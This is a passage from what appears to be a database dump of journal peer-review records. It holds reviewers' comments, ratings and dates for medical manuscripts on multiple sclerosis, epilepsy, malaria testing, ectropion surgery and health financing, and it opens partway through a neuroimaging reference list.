66, no. 10, pp. 935–941. \r\n[27]	Vidal CN, Nicolson R, DeVito TJ, Hayashi KM, Geaga JA, et al. (2006) Mapping corpus callosum deficits in autism: an index of aberrant cortical connectivity. Biol. Psychiatry, vol. 60, no. 3, pp. 218–225.\r\n[28]	Hasan KM, Molfese DL, Walimuni IS, Stuebing KK, Papanicolaou AC, et al. (2012) Diffusion tensor quantification and cognitive correlates of the macrostructure and microstructure of the corpus callosum in typically developing and dyslexic children. NMR Biomed., vol. 25, no. 11, pp. 1263–1270.\r\n[29]	Valera EM, Faraone SV, Murray KE, Seidman LJ (2007) Meta-analysis of structural imaging findings in attention-deficit/hyperactivity disorder. Biol. Psychiatry, vol. 61, no. 12, pp. 1361–1369.\r\n[30]	Luders E, Kurth F, Das D, Oyarce DE, Shaw ME et al. (2016) Associations between corpus callosum size and ADHD symptoms in older adults: The PATH through life study. Psychiatry Res. Neuroimaging, vol. 256, pp. 8–14.\r\n[31]	Chrysikopoulos H, Andreou J, Roussakis A, Pappas J (1997) Infarction of the corpus callosum: computed tomography and magnetic resonance imaging. Eur. J. Radiol., vol. 25, no. 1, pp. 2–8.\r\n[32]	He X, Sullivan EV, Stankovic RK, Harper CG, Pfefferbaum A (2007) Interaction of thiamine deficiency and voluntary alcohol consumption disrupts rat corpus callosum ultrastructure. Neuropsychopharmacol., vol. 32, no. 10, pp. 2207–2216.\r\n[33]	Estruch Nicolás JM, Salamero M, Aragón C, Sacanella E et al (1997) Atrophy of the corpus callosum in chronic alcoholism. J. Neurol. Sci., vol. 146, no. 2, pp. 145–151.\r\n[34]	Carlen PL, Wilkinson DA, Wortzman G, Holgate R (1984) Partially reversible cerebral atrophy and functional improvement in recently abstinent alcoholics. J. Can. Sci. Neurol., vol. 11, no. 4, pp. 441–446.\r\n[35]	Rigucci S, Marques TR, Di Forti MT, Taylor H, Dell\'Acqua F et al. (2016) Effect of high-potency cannabis on corpus callosum microstructure.  Psychol. Med., vol. 46, no. 4, pp. 841–854.\r\n[36]	Ma L, Hasan KM, Steinberg JL, Narayana PA, Lane SD et al. (2009) ‘Diffusion tensor imaging in cocaine dependence: regional effects of cocaine on corpus callosum and effect of cocaine administration route. Drug Alcohol Depend., vol. 104, no. 3, pp. 262–267.\r\n[37]	Figueira FFA, dos Santos VS, Figueira GMA, da Silva ACM(2007) Corpus callosum index: a practical method for long-term follow-up in multiple sclerosis. Arq. Neuropsiquiatr. vol. 65, no. 4A, pp. 931–935.\r\n[38]	Keshavan MS,  Diwadkar VA, Harenski K, Rosenberg DR, Sweeney JA et al. (2002) Abnormalities of the corpus callosum in first episode, treatment naive schizophrenia. J. Neurol. Neurosurg. Psychiatry, vol. 72, no. 6, pp. 757–760.\r\n[39]	ErdoÄŸan N, Ulger H, Tuna I, Okur A (2005) A novel index to estimate the corpus callosum morphometry in adults: callosal/supratentorial-supracallosal area ratio. Diagn. Interv. Radiol. Ank. Turk., vol. 11, no. 4, pp. 179–181.\r\n[40]	Hasan KM, Kamali A, Iftikhar A, Kramer LA, Papanicolaou AC et al. (2009) Diffusion tensor tractography quantification of the human corpus callosum fiber pathways across the lifespan. Brain Res., vol. 1249, pp. 91–100.\r\n[41]	Choo AL, Kraft SJ, Olivero W, Ambrose NG, Sharma H et al. (2011) Corpus callosum differences associated with persistent stuttering in adults. J. Commun. Disord., vol. 44, no. 4, pp. 470–477.\r\n[42]	Van Schependom J, Jain S, Cambron M, Vanbinst AM, De Mey J et al. (2016) Reliability of measuring regional callosal atrophy in neurodegenerative diseases.  NeuroImage Clin., vol. 12, pp. 825–831.\r\n[43]	Doron KW,  Gazzaniga MS (2008) Neuroimaging techniques offer new perspectives on callosal transfer and interhemispheric communication. Cortex J. Devoted Study Nerv. Syst. Behav., vol. 44, no. 8, pp. 1023–1029.\r\n[44]	Papathanasiou A, Messinis L, Zampakis P, Papathanasopoulos P (2017) Corpus callosum atrophy as a marker of clinically meaningful cognitive decline in secondary progressive multiple sclerosis. Impact on employment status. J. Clin. Neurosci. Off. J. Neurosurg. Soc. Australas., vol. 43, pp. 170–175.\r\n [45]	Yaldizli Ö, Penner IK, Frontzek K, Naegelin Y, Amann M,  et al. (2014) The relationship between total and regional corpus callosum atrophy, cognitive impairment an d fatigue in multiple sclerosis patients. Mult. Scler. Houndmills Basingstoke Engl., vol. 20, no. 3, pp. 356–364.\r\n[46]	WMA Declaration of Helsinki - Ethical Principles for Medical Research Involving Human Subjects (2013), Available: http://www.wma.net/es/30publications/10policies/b3/\r\n[47]	Polman CH,  Reingold SC, Banwell B, Clanet M, Cohen JA et al. (2011) Diagnostic criteria for multiple sclerosis: 2010 revisions to the McDonald criteria’, Ann. Neurol., vol. 69, no. 2, pp. 292–302.\r\n[48]	Kurtzke, JF (1983) Rating neurologic impairment in multiple sclerosis: an expanded disability status scale (EDSS). Neurology, vol. 33, no. 11, pp. 1444–1452.\r\n[49]	Perez-Alvarez  AI,  García-Rúa A, Suárez-Santos P, Castanon-Apilanez M, Ameijide-San Luis E et al. (2018) [Appraisal of cerebral atrophy in multiple sclerosis by means of the corpus callosum index], Rev.Neurol., vol. 67, no. 11,417–424. \r\n[50]	Antel J, Antel S, Caramanos Z, Arnold DL, Kuhlmann T (2012) Primary progressive multiple sclerosis: part of the MS disease spectrum or separate disease entity?, Acta Neuropathol. (Berl.), vol. 123, no. 5, pp. 627–638.\r\n[51]	Markowitz CE. Multiple sclerosis update (2013)  Am. J. Manag. Care, vol. 19, no. 16 Suppl, pp. s294-300.\r\n\r\n','1. Overall well designed study and well described. \r\n2. review of literature can be more summarized. \r\n3. Result section can be summarized with mentioning of  graphs . \r\n\r\nplease find other comments and edits as described in manuscript. \r\n','2020-06-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1824,13180,4707,NULL,'6','G','Y','Y','Y','Review is done well, all the points are studied well and explaination for them is good. NO comments on that.','Can go for publication work is very good','2020-06-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1825,8997,4585,NULL,'5','5','5','5','5','The manuscript is cohesive and objective.\r\n\r\nThe theme is current and needs publication.\r\n\r\nThe theoretical interfaces are congruent.','The manuscript is cohesive and objective.\r\n\r\nThe theme is current and needs publication.\r\n\r\nThe theoretical interfaces are congruent.','2020-06-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1828,11353,4498,NULL,'3','G','N','M','Y','1.	the title is too long, shorten it\r\n2.	The abstract is too long. shorten it, otherwise it is informative\r\n3.	KEYWORDS are good\r\n4.	graphical ABSTRACT is absent\r\n5.	the introduction provide insufficient background information for readers in the immediate field to understand the problem/hypotheses, due to old ref and absence of journals ref\r\n6.	the text is well arranged and the logic is clear\r\n7.	there are few grammatical errors in this article\r\n8.	the related concepts are introduced \r\n9.	the readability is sufficient\r\n10.	the proposed experiment is novel\r\n11.	the results are good\r\n12.	rigorous derivation of formulas/ equations work well\r\n13.	the theoretical analysis in this article is good\r\n14.	all figures/tables are enough to summarize the results for presentation to the readers\r\n15.	all figures/tables are well referred to in the text\r\n16.	the reference section contains some old ref\r\n17.	please use google scholar search engine then set it since 2016\r\n18.	Bias is present\r\n19.	no Plagiarism \r\n20.	Fund is not mentioned\r\n21.	Conflict of interest is not mentioned\r\n22.	Ethical committee is not mentioned\r\n23.	Acknowledgement is not mentioned\r\nSuggestions for improvement\r\n1.	Please improve the ability of theoretical analysis or writing skills\r\n2.	You can use my suggestions\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOverall recommendation	YES\r\nAcceptable without any changes	\r\nAcceptable with minor modifications	\r\nMajor revision: needs to be re-written and re-evaluated	x\r\nUnacceptable	\r\n\r\n\r\n\r\nQuestions to the authors:\r\nDear, you have herb, you want to kill a virus.\r\nYour hypothesis is not right according to your method.\r\nyou must to analyse the herb, take the active ingredient, work on it in a patient have\r\npositive confirmed nCOVID-19, if you report a negative result CPR after your \r\ntreatment, then you can start the your treatment in 50 patients to prove efficacy.\r\n','To the editor:\r\nSorry dear, I reject the paper, but you can choose another reviewer for more confirmation\r\n','2020-06-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1833,13332,4607,NULL,'3','G','N','Y','Y','This is a good research however, the research method needs further reconsideration. A research about hospital management system is better evaluated for a longer period and with more patients. This research comparing 2 patient calling systems were only done once for each, by evaluating longer and more often, accidental bias can be avoided. Please evaluate the opinions of the subjects related (ex: doctor, patient, and nurse, and maybe even hospital admission) on both systems.','The purpose of the study is useful for the advancement of hospital management but I think to achieve a more significant output, the evaluation for both systems should be for a longer period to give a significant result.','2020-06-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1839,12972,4757,NULL,'5','G','Y','Y','Y','all the points explained for precaution from covid-19 are valid and known, as point come to vitamin D all the explanations are valid.','can go for publication.','2020-06-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1844,13331,4733,NULL,'1','R','N','M','Y','Thanks dear Author for performing the manuscript but your work is not a genuine one. The idea and methodology were previously and typically discussed in another published article.','Dear Sir,\r\nThanks for choosing me to review this manuscript. I am sorry to tell that this is not a genuine work. The idea and methodology were previously and typically discussed in another published article. The Author has just edited a previous original article with the same classifications, methodology and discussion.Classification and management of ectropion with medial\r\ncanthal tendon laxity. Hesham A. Ibrahim, Heba N. Sabry. Journal of Egyptian Ophthalmological Society; 2014, 107:263–267','2020-06-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1848,9910,4623,NULL,'4','G','y','y','y','He leído este manuscrito y creo que podría ser un texto aceptable si se clarifican y corrigen ciertos aspectos.\r\nDe todas formas, felicito a los autores por su esfuerzo.\r\nSugiero que, por favor, los autores verifiquen los siguientes comentarios:\r\n\r\n-Comentarios generales:\r\nErrores gramaticales como: “ ay reporte...”, etc., o falta de acentos como · se anexo”, etc., y de redacción como “ agentes etiológicos similares al actual y al presente...” Aconsejo que se repase la gramática y redacción del texto en español para corregir estos errores.\r\n\r\nPor otra parte, en mi opinión el artículo es excesivamente extenso y debería reducirse.\r\nAdemás hay muchas afirmaciones incorrectas que deben cambiarse o actualizarse, especialmente referido a los tratamientos.\r\n\r\n-Referencias:\r\nAconsejo repasar las normas de la Revista respecto a cómo citar las referencias.\r\nDebido a la gran cantidad de información sobre el tema, los autores deberían tratar de actualizar sus referencias con las de mayor calidad.\r\nFaltan referencias que sustenten la metodología usada. \r\n\r\n-Palabras clave:\r\nPara las palabras clave deben emplearse los términos equivalentes a los de la lista de descriptores de ciencias de la salud (Medical Subjects Headings, MeSH) del Index Medicus (disponible en www.nlm.nih.gov/mesh/meshhome.html). Puede consultarse la equivalencia entre los términos en español (Descriptores en Ciencias de la Salud, DeCS) y los correspondientes en inglés del MeSH en http://decs.bvs.br/E/homepagee.htm\r\n','He leído este manuscrito y creo que podría ser un texto aceptable si se clarifican y corrigen ciertos aspectos.\r\nDe todas formas, felicito a los autores por su esfuerzo.\r\nSugiero que, por favor, los autores verifiquen los siguientes comentarios:\r\n\r\n-Comentarios generales:\r\nErrores gramaticales como: “ ay reporte...”, etc., o falta de acentos como · se anexo”, etc., y de redacción como “ agentes etiológicos similares al actual y al presente...” Aconsejo que se repase la gramática y redacción del texto en español para corregir estos errores.\r\n\r\nPor otra parte, en mi opinión el artículo es excesivamente extenso y debería reducirse.\r\nAdemás hay muchas afirmaciones incorrectas que deben cambiarse o actualizarse, especialmente referido a los tratamientos.\r\n\r\n-Referencias:\r\nAconsejo repasar las normas de la Revista respecto a cómo citar las referencias.\r\nDebido a la gran cantidad de información sobre el tema, los autores deberían tratar de actualizar sus referencias con las de mayor calidad.\r\nFaltan referencias que sustenten la metodología usada. \r\n\r\n-Palabras clave:\r\nPara las palabras clave deben emplearse los términos equivalentes a los de la lista de descriptores de ciencias de la salud (Medical Subjects Headings, MeSH) del Index Medicus (disponible en www.nlm.nih.gov/mesh/meshhome.html). Puede consultarse la equivalencia entre los términos en español (Descriptores en Ciencias de la Salud, DeCS) y los correspondientes en inglés del MeSH en http://decs.bvs.br/E/homepagee.htm\r\n','2020-06-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1856,13523,4784,NULL,'5','G','N','Y','Y','The structure and content of the article seem good.','The structure and content of the article seem good. I am unable to comment on plagiarism or reference style of the article','2020-06-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1863,5467,4564,NULL,'4','g','y','y','y','great research\r\ntopic\r\nreview alphabetical errors\r\ncheck references, legends, tables\r\norganize abstract\r\nreview as whole','','2020-06-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1864,5467,4840,NULL,'4','g','y','y','y','great research\r\ntopic\r\nreview alphabetical errors\r\ncheck references, legends, tables\r\norganize abstract\r\nreview as whole','send us full article','2020-06-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1865,13332,4733,NULL,'2','G','N','M','Y','Introduction: Surgical plan as stated in introduction suggested that this is a prospective study\r\n\r\nMethods: \r\n1.Classification for patients have been described explicitly, but, informatiom on what technique was performed for each group is has not been described well.\r\n2. Modified MPL technique supposed to be shown in schematic picture in order to provide better uderstanding, as may be seen in many oculoplastics articles.\r\n3. Was MPL technique and Anterior Lamellar reposition technique performed simultaneously in all groups?\r\n4. In methods, there was no explanation about  success criteria\r\n\r\nResults\r\n1. No information about Demographic data, and baseline of patients included in each group\r\n2. No result about number of successful patients, and no data about follow up period\r\n\r\nDiscussion\r\n1. There are some modifiied technique for ectropion have been published in lliterature, but, in references, the latest publications that used in this study is from 2003 (17 years ago). Please check for more recent articles','Generally, this study is acceptable. However, in methods, the author need to describe the technique in schematic pictures in order to provide better understanding. The results does not contain any information about demographic, baseline criteria, successful criteria, and even follow up period. Most of the Literature for references were out dated and since there are some more recent publications in the same field of study, so it is highly suggested to renew the references','2020-06-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1868,12875,4885,NULL,'4','R','D','M','Y','The study though of small size needs appreciation being published from a department (Surgery), generally finds it difficult to take up such studies needing long term follow-up. The postoperative and follow-up X-rays are good visuals to covince the results. However, if some visuals ( or Photographs or diagrams) of actual surgeries done would have been more convincing for the process (procedures) followed. The outcomes analysis is well done and compared with similar studies. However, the functional results calculated using clinical grading system developed could have been discussed a bit elaborately instead of summing up as 6 patients were labelled as Excellent,16 pts had a good outcome and 6 pts had fair result while as 2 pts had a poor result. It is also reported that the outcomes of affected side were compared with collaterals after year. This comparison if compared based on the influencing factors like age, gender, side of the affected limb and recovery time might give some more insight.','An appreciable manuscript deserves publishing. If the authors can add outcomes of the affected side compared with collaterals for the influencing factors like age, gender, side of the affected limb, and recovery time the study will be comprehensive','2020-06-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1870,12513,4820,NULL,'6','G','Y','Y','N','Good job. The article has been written in professional manner and I can consider it very comprehensive study.','I recommend publishing this article in your journal.','2020-06-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1877,11456,3986,NULL,'1','r','n','n','n','1.	The main content of research presented in the paper is Performance evaluation of malaria Pf/Pv combo test kit at highly malaria-endemic area, Southern Ethiopia’’.\r\n2.	The topic is NOT unique BUT and has been published before\r\n \r\nhttps://www.scielo.br/scielo.php?pid=S0036-46652016005000243&script=sci_arttext . \r\n3.	The main propose of this review is to evaluate the diagnostic performance of currently being used malaria RDT in Southern Ethiopia. \r\n4.	The deduced conclusions stated that Malaria RDT kits may be used in areas where there are no trained personnel, electricity, necessary equipment, and reagents which are necessary for malaria microscopy. Also, malaria RDT kit was poor for accurate diagnosis of malaria. \r\n5.	The conclusions based in a same paper published in1.	KEYWORDS: key words mentioned are fair enough. \r\n2.	The introduction needs to be updated. \r\n3.	The text is well arranged, and the logic is clear (unless there is updating in the field).. \r\n4.	Bias is not good enough. \r\n5.	Plagiarism, please check it. \r\n6.	The references are not updated, they are old, just before 2016. It seems that this manuscript has been written before 2016. The data are old. (referred by the authors in the manuscript) . Also, the reference are up to 2016\r\n7.	https://www.scielo.br/scielo.php?pid=S0036-46652016005000243&script=sci_arttext \r\n \r\nSuggestions for improvement\r\nI.	The data are old (before 2016)…… A cross-sectional study design was conducted from October 1 up to December 15, 2016………, you need to re-look at the update and seen if somethings has got changed up to date in this field. \r\nII.	Four years of time are too much to update all the science fields. Please go back and check the update of the field.   \r\n\r\nIII.	\r\n 2016!. \r\n','1.	KEYWORDS: key words mentioned are fair enough. \r\n2.	The introduction needs to be updated. \r\n3.	The text is well arranged, and the logic is clear (unless there is updating in the field).. \r\n4.	Bias is not good enough. \r\n5.	Plagiarism, please check it. \r\n6.	The references are not updated, they are old, just before 2016. It seems that this manuscript has been written before 2016. The data are old. (referred by the authors in the manuscript) . Also, the reference are up to 2016\r\n7.	https://www.scielo.br/scielo.php?pid=S0036-46652016005000243&script=sci_arttext \r\n \r\nSuggestions for improvement\r\nI.	The data are old (before 2016)…… A cross-sectional study design was conducted from October 1 up to December 15, 2016………, you need to re-look at the update and seen if somethings has got changed up to date in this field. \r\nII.	Four years of time are too much to update all the science fields. Please go back and check the update of the field.   \r\n\r\n References are not up to date and not relevant.\r\n they are old, just before 2016\r\nIt seems that this manuscript has been written before 2016.\r\nThe data are old. (referred by the authors) \r\nAnd the also the reference are up to 2016.\r\nsince that time many things have been changed in the field but also in the science. \r\n','2020-07-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1882,9028,4467,NULL,'5','g','y','y','n','Surgical site infection is the second most basic social insurance related infection. One of the hazard factors for such infection is bacterial contamination of operating rooms\' and surgical wards\' indoor air. Taking into account that, the microbiological nature of air can be considered as a reflection of the clean state of these rooms. Method is effective with 40 samples and ethical consideration is appreciated. Culture and isolation of clinical airborne bacteria and Antibiotics Susceptibility Test, Determination of ESBL-Producing Gram-negative bacteria,  Phenotypic Confirmation of ESBL from isolated Gram-negative bacteria using Double Disk Synergy test (DDST), Screening for methicillin-resistant Staphylococcus aureus (MRSA) and Determination of Multiple Antibiotic Resistance Index (MARI) are significant procedures in antibiotic susceptibility profile and shown results clearly and excellent discussion with good references. I recommended to publish the manuscript.','','2020-07-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1883,13180,4779,NULL,'6','G','Y','Y','Y','Review is done perfectly. Explanation are justified and can go for publication.','Can publish in your journal','2020-07-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1885,10287,4665,NULL,'2','G','D','Y','N','1. good topic choice \r\n2. please see the comments as numbers as deficiency found in  data and discussion part. \r\n\r\n\r\nNON-EPILEPTIC PAROXYSMAL STATES IN EPILEPSY\r\nVoitiuk А.1, Litovchenko T.1, Markova Т.2,\r\n\r\n1Kharkiv Medical Academy of Postgraduate Education, Department of Neurology, Kharkiv/Ukraine, \r\n2Kharkiv Railway Clinical Hospital â„–1 of Branch of «HC» JSC «Ukrzaliznytsia», Kharkiv/Ukraine\r\n\r\n\r\nAbstract \r\n\r\nIntroduction: Differential diagnosis of epileptic and non-epileptic paroxysmal disorders is one of the most difficult diagnostic problems in Epileptology. A frequent combination of epileptic and non-epileptic seizures in a patient makes the diagnosis particularly difficult. As a rule, 30% of patients with verified epilepsy have non-epileptic seizures as well (both psychogenic and organic ones). Non-epileptic paroxysmal events may mimic epilepsy. The duration, place, timing of the attacks, and state of conciousnessconsciousness may confuse pediatricians about the diagnosis of epilepsy and non epilepticnon-epileptic paroxysmal events. \r\nDifferential diagnoses of paroxysmal event may include:\r\nSyncope\r\nCardiogenic\r\nCough\r\nMigraine (confusional): Time of course is usually longer than most complex partial seizures; EEG is normal during event.\r\nMetabolic disorders: Hypoglycemia, hypocalcemia, and rapid sodium shifts can all cause non-epileptic seizures.\r\nParoxysmal vertigo\r\nGER in infancy/childhood: Some patients may have actual seizures due to anoxia when the child aspirates. More commonly, they have chewing, mouthing movements when refluxing that look like complex partial seizures. This is easily distinguished using EEG and pH probe monitoring and resolves with anti-reflux medications. May patients also have arching with torticollis and dystonic posturing due to reflux, particularly observed in neurologically abnormal children (Sandifer\'s syndrome).\r\nThe symptoms of epileptic seizures are diverse. As a result, disorders that might be considered in the differential diagnosis will vary depending on the patient\'s specific clinical presentation. Clearly, not all of these disorders are considered in any one patient. Nonepileptic paroxysmal events that can be mistaken for epilepsy also differ significantly by age group\r\n\r\nThe purpose of the study is to determine the frequency and nature of non-epileptic paroxysms in patients with long-term epilepsy.\r\n\r\nMethods: The studies were conducted on the basis of the analysis of clinical symptoms and instrumental studies. EEG, EEG-video monitoring and MRI were used as the screening methods.1. Need to mention single center or multicenter 2, duration of study period- years 3, enrollment criteria if any inclusion/ exclusion\r\n3. Person who reviewed the EEG or other tests- blinded to study? \r\n\r\nResults: The analysis of the data of 300 patients aged 20 to 65 4. Later the age is mentioned 18 years with verified epilepsy revealed that in 78 patients with long-term epilepsy some paroxysmal non-epileptic states were observed: conversion, abstinence paroxysms, syncope conditions, panic attacks, sleepand sleep disorders.\r\n   5. is this literature review or study findings?   In patients aged 18 to 25 conversion paroxysms (5 persons, 6%) and sleep disorders (4 persons, 5%) prevailed. Young aged patients (25 to 44 years) had paroxysmal states (30 persons, 39%), insomnia (8 persons, 10%) and abstinence paroxysms (8 persons, 10%). For the patients aged 45 to 60 panic attacks (23 people, 30%) were more common.\r\n    6. Need more description or table for EEG results  In patients with syncope condition the EEG revealed some bilaterally synchronous flashes of theta waves on the background of the dominant alpha-rhythm.\r\n     In patients with panic attacks, along with routine EEG, EEG-video monitoring was also carried out.7. is there any EEG image available  The EEG-video monitoring showed certain strengthening of hemispheric asymmetry, alpha rhythm index decrease and increase in beta1 rhythm in the right hemisphere which was more pronounced in the frontal and temporal  leads.\r\n8. Need more discussion and comparison to literature review before jumping to conclusion \r\n9. Need to mention strength and weakness of study\r\nConclusion: Long-term epilepsy can lead to the development of non-epileptic paroxysmal states which, on the one hand, aggravate the disease and, on the other, make the diagnosis of \"epilepsy\" disputable. Misdiagnosis of epilepsy often has disastrous consequences for patients resulting in the restriction of social activity and incorrect treatment. \r\n10. is this helpful or add to any new finding to available literature. \r\n11. References and citations are missing. Is this all for manuscript of any other files available to review??as I am not able to see any other files. \r\n\r\nKeywords: paroxysmal states, long-term epilepsy, non-epileptic paroxysms, rhythms of EEG.\r\n\r\nProfessional Biography (100-150 words)\r\n\r\nAnna Voitiuk studied as a Postgraduate student in Neurology at Kharkiv Medical Academy of Postgraduate Education. During her residency she has shown interest and enthusiasm in treating patients with epilepsy, disorders of cerebral circulation, spinal diseases. Currently she is a highly qualified neurologist. Anna Voitiuk is an active member of Ukrainian League Against Epilepsy (ULAE). She has published the 5 articles and 3 articles in collaboration with colleagues.\r\n\r\n\r\n \r\n\r\nEmail Id: a_vojtyuk@yahoo.com \r\n\r\n\r\n\r\n','the paper can be improved in many ways as more part need to be on literature review, details study findings and discussion part\r\n\r\nplease see the paper with comments.\r\n\r\nNON-EPILEPTIC PAROXYSMAL STATES IN EPILEPSY\r\nVoitiuk А.1, Litovchenko T.1, Markova Т.2,\r\n\r\n1Kharkiv Medical Academy of Postgraduate Education, Department of Neurology, Kharkiv/Ukraine, \r\n2Kharkiv Railway Clinical Hospital â„–1 of Branch of «HC» JSC «Ukrzaliznytsia», Kharkiv/Ukraine\r\n\r\n\r\nAbstract \r\n\r\nIntroduction: Differential diagnosis of epileptic and non-epileptic paroxysmal disorders is one of the most difficult diagnostic problems in Epileptology. A frequent combination of epileptic and non-epileptic seizures in a patient makes the diagnosis particularly difficult. As a rule, 30% of patients with verified epilepsy have non-epileptic seizures as well (both psychogenic and organic ones). Non-epileptic paroxysmal events may mimic epilepsy. The duration, place, timing of the attacks, and state of conciousnessconsciousness may confuse pediatricians about the diagnosis of epilepsy and non epilepticnon-epileptic paroxysmal events. \r\nDifferential diagnoses of paroxysmal event may include:\r\nSyncope\r\nCardiogenic\r\nCough\r\nMigraine (confusional): Time of course is usually longer than most complex partial seizures; EEG is normal during event.\r\nMetabolic disorders: Hypoglycemia, hypocalcemia, and rapid sodium shifts can all cause non-epileptic seizures.\r\nParoxysmal vertigo\r\nGER in infancy/childhood: Some patients may have actual seizures due to anoxia when the child aspirates. More commonly, they have chewing, mouthing movements when refluxing that look like complex partial seizures. This is easily distinguished using EEG and pH probe monitoring and resolves with anti-reflux medications. May patients also have arching with torticollis and dystonic posturing due to reflux, particularly observed in neurologically abnormal children (Sandifer\'s syndrome).\r\nThe symptoms of epileptic seizures are diverse. As a result, disorders that might be considered in the differential diagnosis will vary depending on the patient\'s specific clinical presentation. Clearly, not all of these disorders are considered in any one patient. Nonepileptic paroxysmal events that can be mistaken for epilepsy also differ significantly by age group\r\n\r\nThe purpose of the study is to determine the frequency and nature of non-epileptic paroxysms in patients with long-term epilepsy.\r\n\r\nMethods: The studies were conducted on the basis of the analysis of clinical symptoms and instrumental studies. EEG, EEG-video monitoring and MRI were used as the screening methods.1. Need to mention single center or multicenter 2, duration of study period- years 3, enrollment criteria if any inclusion/ exclusion\r\n3. Person who reviewed the EEG or other tests- blinded to study? \r\n\r\nResults: The analysis of the data of 300 patients aged 20 to 65 4. Later the age is mentioned 18 years with verified epilepsy revealed that in 78 patients with long-term epilepsy some paroxysmal non-epileptic states were observed: conversion, abstinence paroxysms, syncope conditions, panic attacks, sleep and sleep disorders.\r\n   5. is this literature review or study findings?   In patients aged 18 to 25 conversion paroxysms (5 persons, 6%) and sleep disorders (4 persons, 5%) prevailed. Young aged patients (25 to 44 years) had paroxysmal states (30 persons, 39%), insomnia (8 persons, 10%) and abstinence paroxysms (8 persons, 10%). For the patients aged 45 to 60 panic attacks (23 people, 30%) were more common.\r\n    6. Need more description or table for EEG results  In patients with syncope condition the EEG revealed some bilaterally synchronous flashes of theta waves on the background of the dominant alpha-rhythm.\r\n     In patients with panic attacks, along with routine EEG, EEG-video monitoring was also carried out.7. is there any EEG image available  The EEG-video monitoring showed certain strengthening of hemispheric asymmetry, alpha rhythm index decrease and increase in beta1 rhythm in the right hemisphere which was more pronounced in the frontal and temporal  leads.\r\n8. Need more discussion and comparison to literature review before jumping to conclusion \r\n9. Need to mention strength and weakness of study\r\nConclusion: Long-term epilepsy can lead to the development of non-epileptic paroxysmal states which, on the one hand, aggravate the disease and, on the other, make the diagnosis of \"epilepsy\" disputable. Misdiagnosis of epilepsy often has disastrous consequences for patients resulting in the restriction of social activity and incorrect treatment. \r\n10. is this helpful or add to any new finding to available literature. \r\n11. References and citations are missing. Is this all for manuscript of any other files available to review??as I am not able to see any other files. \r\n\r\nKeywords: paroxysmal states, long-term epilepsy, non-epileptic paroxysms, rhythms of EEG.\r\n\r\nProfessional Biography (100-150 words)\r\n\r\nAnna Voitiuk studied as a Postgraduate student in Neurology at Kharkiv Medical Academy of Postgraduate Education. During her residency she has shown interest and enthusiasm in treating patients with epilepsy, disorders of cerebral circulation, spinal diseases. Currently she is a highly qualified neurologist. Anna Voitiuk is an active member of Ukrainian League Against Epilepsy (ULAE). She has published the 5 articles and 3 articles in collaboration with colleagues.\r\n\r\n\r\n \r\n\r\nEmail Id: a_vojtyuk@yahoo.com \r\n\r\n\r\n\r\n','2020-07-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1890,10393,4337,NULL,'2','D','Y','M','Y','The authors has presented a study of early breast cancer detection and screening using thermal imaging. This study lacks novelty as reports are available on similar studies also my concern is although thermal screening can be used along with mammography but its is not accepted as sole screening technique. If the authors provide some supporting references related to its safety profile and comparison to mammography then it might provide better significance to the manuscript.','The authors has presented a study of early breast cancer detection and screening using thermal imaging. This study lacks novelty as reports are available on similar studies also my concern is although thermal screening can be used along with mammography but its is not accepted as sole screening technique. If the authors provide some supporting references related to its safety profile and comparison to mammography then it might provide better significance to the manuscript.','2020-07-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1902,8997,4064,NULL,'5','5','5','5','5','Objective and coherent manuscript.\r\n\r\nMethod with scientific rigor.\r\n\r\nCurrent results.\r\n\r\nStructured and specific conclusion.','Objective and coherent manuscript.\r\n\r\nMethod with scientific rigor.\r\n\r\nCurrent results.\r\n\r\nStructured and specific conclusion.','2020-07-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1907,13193,4483,NULL,'4','g','d','y','n','Good article, but need to do some minor revision \r\nI have the following comments for the authors:\r\n\r\n1. In abstract, author mentioned inequality but end of the line, author mentioned equity. To be consistence, author should change inequality to inequity.\r\n\r\n2. In 2.2 pooling, author should mention poverty rate of Botswana.\r\n\r\n3. In 2.3 purchasing, longer name should be added for NACA.\r\n\r\n4. In 3.1 strengths of Botswana health financing structure, in line 6, conducted year of household survey should be added.\r\n\r\n5. It should be clarified that did Botswana has compulsory health insurance scheme or 